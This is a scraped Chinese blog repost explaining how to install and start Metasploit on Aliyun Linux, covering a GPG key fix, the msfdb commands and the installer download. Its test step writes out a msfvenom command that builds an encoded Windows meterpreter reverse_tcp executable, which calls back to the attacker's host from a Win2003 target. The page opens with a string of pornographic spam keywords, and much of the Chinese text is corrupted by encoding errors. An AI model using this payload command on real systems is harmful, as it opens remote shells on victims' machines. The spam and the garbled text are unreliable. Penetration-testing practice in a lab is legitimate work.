日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 人文社科 > 生活经验 >内容正文

生活经验

linux查看msf安装目录,linux系统安装msf的过程详解

發(fā)布時間:2023/11/27 生活经验 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux查看msf安装目录,linux系统安装msf的过程详解 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

還是自己寫下安裝過程吧!

我的服務(wù)器系統(tǒng)是 Aliyun linux

可能報錯:Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

是因為安裝庫的問題!

解決方法:

yum install -y epel-release

然后再重復(fù)上面那條命令!

2、添加新用戶運行msf

adduser msf?????? #添加msf用戶

su msf??????????????? #切換到msf用戶

cd? /opt/metasploit-framework/bin?? #切換到msf所在的目錄

./msfconsole

#以后啟動msfconsole,都切換到msf用戶下啟動,這樣會同步數(shù)據(jù)庫。

如果使用root用戶啟動的話,不會同步數(shù)據(jù)庫!

(啟動索引已經(jīng)默認(rèn)配好了!)

直接 msfconsole 就可以啟動了!

#相關(guān)命令

[msf@xxxx root]$ msf

msfbinscan msfconsole msfd msfdb

msfelfscan msfmachscan msfpescan msfrop

msfrpc msfrpcd msfupdate msfvenom

#數(shù)據(jù)庫初始化

[msf@xxxx root]$ msfdb

Commands:

init initialize the component

reinit delete and reinitialize the component

delete delete and stop the component

status check component status

start start the component

stop stop the component

restart restart the component

#測試:

e.g.我的虛擬主機是 Win2003(目標(biāo)機)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp

LHOST=msf_ip

LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是彈性云服務(wù)器IP,LHOST 要設(shè)置為內(nèi)網(wǎng)分配IP,不能設(shè)公網(wǎng)IP [被這個坑折騰好久!!!吐血!!!]

ps:linux系統(tǒng)下安裝msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run

chmod 755 metasploit-latest-linux-installer.run

./metasploit-latest-linux-installer.run

等待運行結(jié)束即可。關(guān)鍵地方按回車和Y即可。

總結(jié)

以上是生活随笔為你收集整理的linux查看msf安装目录,linux系统安装msf的过程详解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。